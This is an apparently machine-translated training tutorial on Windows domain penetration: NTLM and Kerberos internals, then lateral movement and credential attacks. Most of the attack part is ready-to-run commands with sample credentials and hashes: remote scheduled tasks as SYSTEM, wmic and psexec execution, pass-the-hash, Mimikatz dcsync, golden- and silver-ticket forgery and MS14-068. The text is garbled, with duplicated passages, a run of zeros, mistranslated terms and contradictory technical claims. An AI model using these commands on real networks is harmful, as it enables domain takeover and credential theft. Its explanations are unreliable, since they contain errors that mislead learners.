Recently, we conducted in-depth research on the courses of penetration testing offline employment classes. From the questionnaire results, we found that many students reported that the courses on intranet penetration were not easy to master. Today, i Chunqiu summarized the knowle

Recently, we conducted in-depth research on the courses of penetration testing offline employment classes. From the questionnaire results, we found that many students reported that the courses about intranet penetration were not easy to master.

Today, i Chunqiu summarized the knowledge of intra-domain penetration, hoping that it will be helpful for everyone to learn penetration testing courses.

1. NTLM protocol
In the work group, the password hash is saved in the local SAM file

(%SystemRoot%\system32\config\sam), and is saved in the ntds.dit file in the domain. The format of hash is: user name :SID:LM-Hash value:NT-Hash value

Administrator:500:aad3b435b51404eeaad3b435b51404ee:32057716c8bd0647d9197a9db0b041eb:::

500 The colon is LM hash, bd0647d9197a9db0b041eb is ntml hash.

0x1.1 LM Hash

LM The full name of Hash is LAN Manager Hash. If the plaintext is dbnames, you must first convert all to uppercase, and then convert the uppercase string into hexadecimal. If the binary converted by the plaintext capital is less than 14 bytes, you need to add 0 to 14 bytes later

44424e414d455300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 dbnames' hexadecimal is 44424e414d4553

Since 44424e414d4553 converts binary to 8 bytes, these two 8 bytes data must be encrypted with the magic string KGS!@#$%DES.

4B47532140232425     The hexadecimal 

for 'KGS!@#$%' encrypts these 2 8 bytes as key.

0x1.2 NTLM Hash

Starting from Windows Vista, the password is only stored in NTLM Hash. LM Hash will not exist. In NTLM Hash, the string is first converted in hexadecimal, and then converted into unicode strings. Finally, the MD4 encryption algorithm is used to encrypt Unicode. Therefore, compared with NTLM, LM plaintext is not case sensitive. It can be judged whether the plaintext is less than 8 bits, and does not use 'KGS!@#$%' as key for des encryption, while NTML adopts one-way encryption method (MD4).

0x1.3 NTLM Authentication Protocol

NTLM Protocol Authentication is divided into three parts: negotiation, challenge, and identity verification.

NTLM protocol authentication process:

1. The user enters the account password. The client contains the plain text to initiate a request to the server with the user name.

2. When the server receives the client's request, a challenge 16-bit random number will be generated, using the stored NTLM Hash encrypts the challenge, generates challenge1, and then sends the 16-bit plaintext random number of the challenge to the client

3. After the client receives the challenge, the user login password hash encrypts the challenge to generate response (challenge2), sends this response to the client

4, and the server receives the response, and compares challenge1 and challenge2. If the same is true, it will be verified successfully.

0x1.4 NTLM v1 and NTLM v2

challenge: NTLM v1 is a random number of 8; NTLM v2 is a 16-bit random number.

Net-NTLM Hash:

1 and NTLM v1 use DES encryption, which fills 5 0s after 16 bytes, forms 21 bytes, and then divides them into 3 groups of 7 bytes, and fills 1 0 after each 7 bytes, becoming 3 8 bytes DES keys, encrypts the challenge sent from step 2 of the appeal, forming a 24 byte ciphertext.

2, HMAC-MD5 encryption

2, Kerberos protocol

Kerberos is a network authentication protocol, mainly in the Windows domain, and its design goal is to provide powerful authentication services for client/server applications through the key system.There are three main roles in the Kerbeos protocol:

①Client

②Server

③KDC, and there are two parts in KDC:

AS: The function is to verify whether the Client is the person TGS: Generate ST tickets to access a certain service for the Client (TGS) Ticket)

Authentication process:

. The client initiates an authentication request (KRB_AS_REQ) to KDC (AS). During the request process, the timestamp is encrypted through the user's password hash, and then sent to the AS server. After the AS server receives it, the password hash on the server side is used to decrypt the timestamp. After the decryption is successful, and the timestamp is within a certain time range, indicating that the authentication is successful.

2. AS compares whether the user is in the local database and uses the client's hash for decryption. Correctly, the encrypted TGT bill of krbtgt's password hash hash (the expiration time is generally 8 hours). The user cannot decrypt this TGT bill, but with the hash of krbtgt, the 'gold bill' can be forged. It also needs to return a Session Key (sessionkey1) encrypted by the client user ntml hash. The Session Key is a randomly generated character (KRB_AS_REP) after the KDC receives the request.

. The client uses its own password hash to decrypt the Session Key. TGT is KDC encrypted, and the Client cannot decrypt it. The Client uses the decrypted SessionKey to encrypt the timestamp and sends it to TGS to exchange for the ticket to access the Server (KRB_TGS_REQ).

4. After receiving the client's request, TGS will verify whether the service the client wants to access exists. If there exists, KDC uses the hash of the password of krbtgt to decrypt TGT, and then checks the timestamp in TGT to see if TGT is invalid. If the successfully decrypted TGT is not invalid, send the Session_key and ticket tickets encrypted through sessionkey1 to the client. In TGSREP, the service hash is used to encrypt tickets. All the hashs that we have this service can create a ticket (i.e. silver bills) (KRB_TGS_REP).

5. The client takes the Session_Key (sessionkey2) decrypted by its sessionkey1, and then sends the encrypted timestamp of sessionkey2 and ticket to a server to access the service. After the authentication is passed, it can be accessed (KRB_AP_REQ).

6. The service uses its own hash to decrypt tickets and get sessionkey2. When using sessionkey2 to decrypt the timestamp, the decryption is successful, and the PAC uses PAC to KDC to ask the client whether the access permission is available. The domain control decrypts the PAC, which is used to let the client identify whether to access the correct server (KRB_AP_REP).

3. Common methods for horizontal movement of intranet

0x1.1 ipc connection

net use \\192.168.1.232\C$ admin123456 /user:fanxing.com\fanxing

Copy the file to the host

copy 1.bat \\192.168.1.232\c$\tools

Get the server time

net time \\192.168.1.232

Create a planned task, execute the 1.bat file at 20:05, and cobaltstrike is successfully launched.

at \\192.168.1.232 20:05 c:\tools\1.bat

Below are common error numbers in IPC connection:

 Error number 5: Access denied---The permissions used are too low, and the permissions need to be raised Error number 51: Windows cannot find the network path, there is a problem with the network Error number 53: The network path cannot be found, the IP address is wrong, the target is not turned on, the target lanmanserver service is not turned on, the target has a firewall (port filtering) Error number 67: The network name cannot be found - your l Anmanworkstation service is not started or the target deletes ipc$ error number 1219: The provided credentials conflict with the existing credential set - you have established an ipc with the other party, please delete the connection error number 1326: Unknown username or wrong password error number 1792: Trying to log in, but the network login service is not started - the target BetLogon service is not started Error number 2242: The password of this user has expired - the target has an account policy, and it is forced to change the password regularly 

0x1.2 schtasks create scheduled tasks

set every night at 8:40 pm 1.bat file

schtasks /create /s 192.168.1.232 /u fanxing.com\fanxing /p [email protected] /ru "SYSTEM" /tn fanxing /sc DAILY /st 20:40  /tr c:\tools\1.bat /F

0x1.3 WMI

wmi service needs to open port 135, which is enabled by default.

wmic /node:192.168.1.232 /user:fanxing.com\fanxing /password:[email protected] process call create "cmd /c 1.exe"

WMIC has no echo, wmicexec.vbs can solve the problem of no echo, or get a semi-interactive shell.

cscript wmiexec.vbs /cmd 192.168.1.232 fanxing.com\fanxing [email protected] whoami

0x1.4 pstools

pstools There are 13 gadgets in it. Here, p**ec is mainly used for remote execution of commands. The only disadvantage is that it will enable a service, which is easy to be discovered by the administrator.

When establishing a connection with ipc, you can use p**ec directly:

p**ec.exe \\192.168.1.232 -h cmd /c "whoami"

When ipc does not have a connection:

P**ec.exe \\192.168.1.232 -u fanxing.com\fanxing -p [email protected] -h cmd /c "whoami"

Execute with metasploit:

use auxiliary/admin/smb/p**ec_commandset rhosts 192.168.1.232set smbuser fanxingset smbpass [email protected] smbdomain fanxing.comset command whoami

0x1.5 hash delivery (PTH)

hash delivery accesses the host or service through the hash of the password, and does not require plain-text login. The principle of hash appears in the challenge of the NTML authentication process mentioned above. Use metasploit:

use exploit/windows/smb/p**ecset rhosts 192.168.50.233set SMBPass 32057716c8bd0647d9197a9db0b041ebset SMBUser administratorset SMBDomain fanxing.com

4. Gold Notes

Gold Notes are TGT notes issued to Client by AS (the validity time of TGT is 20 minutes) and are encrypted through the domain kerberos account (KRBTGT). The implementation principle is to skip the AS authentication process and directly prove to the KDC's TGS service that passed the AS service. Generally, when the domain control permission is lost, the domain control password is modified. If the password of krbtgt is not modified, the domain control permission can be regained.

The conditions for meeting the gold notes are:

① The name of the domain

② The SID value of the domain

③ The password of KRBTGT in the domain hash

④ The user name of the fake

. In the process of using gold notes, mimikatz, cobaltstrike, and metasploit can be used to forge it.

0x1.1 Mimikatz

Export krbtgt's NTML Hash

privilege::debug      #Elevate the domain[/size][size=18px]lsadump::dcsync /domain:fanxing.com /user:krbtgt

Get the SID value of the domain, do not follow -500.

whoami /all

Forged gold tickets

kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /aes256:3df036f90aaf3a63a5cce96fc753f08beb5a2e61946e17cc7d5e6ce04b651b89 /user:fanxing /ticket:gold.kirbi
 Import Golden Ticket: 
kerberos::ptt c:\users\test\gold.kirbi
 You can use dir to access the domain control directory. You need to enter the host name, but you still cannot access it with IP. 
dir \\WIN-M34UCFJIPNQ\c$
mimikatz There is another method: 
kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /rc4:8b3955c065502e33716d555d4421a723 /user:fanxing /ptt

0x1.2 CobaltStrike
 After going online - Execution - Gold Notes: 
0x1.3 Metasploit
msf Make gold tickets 
load kiwi
 Generate Golden Ticket title 1
golden_ticket_create -d fanxing.com -k 8b3955c065502e33716d555d4421a723 -s S-1-5-21-3408186607-3793295459-3581146574 -u fanxing -t /tmp/golden.ticket
 Import the ticket into memory 
kerberos_ticket_use /tmp/golden.ticket
dir access directory successfully 
 gold ticket creation requires krbtgt's password ntml hash. For defense, as long as krbtgt's password is modified regularly, the gold ticket can be invalid. 
 5. Silver Notes 

 Silver Notes are ST Notes issued by TGS to Client. According to step 5 of the kerberos protocol, the Server will use the hash of the Client to decrypt the ST Notes of Clinet, so this process does not require KDC, and can only access the Server's services once. 
 meets the following conditions, that is, you can forge silver notes: 
① The name of the domain 
② The SID value of the domain 
③ The NTML of the domain service Hash
④ The user name to be forged 
⑤ The kerberos service of the target server 
 Common service names are: 
 Forged silver notes 
kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /target:WIN-M34UCFJIPNQ.fanxing.com /service:cifs /rc4:dcd87fc42d9d8ac03dec5931a55ddd59 /user:fanxing /ptt
 The defense measures for silver notes can be enabled. PAC can only be made and viewed by KDC. Add a ValidateKdcPacSignature to 1 in the registry. 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
6. MS14-068

Client applies to AS for a TGT ticket that does not contain a PAC, and will forge a PAC. In TGS_REP, after the forged PAC is successfully verified, a new TGT ticket will be returned. 
 is utilized through MS14-068exp: 
MS14-068.exe -u Current domain user @Domain name -p Current domain user password -s sid value -d Domain control iphone8
sid value Get 
 through whoami /all and then a certificate will be generated in the directory, using mimikatz. 
kerberos::ptc C:\wwwroot\[email protected]
 can use dir to access the domain controlled directory. 
 For ms14-068 defense, you can patch KB3011780 and use winserver2012. 
 or above is today's content. Do you understand? Of course, there is still a lot of knowledge about internal domain penetration that has not been sorted out. I hope that more content sharing will be shared by everyone in time.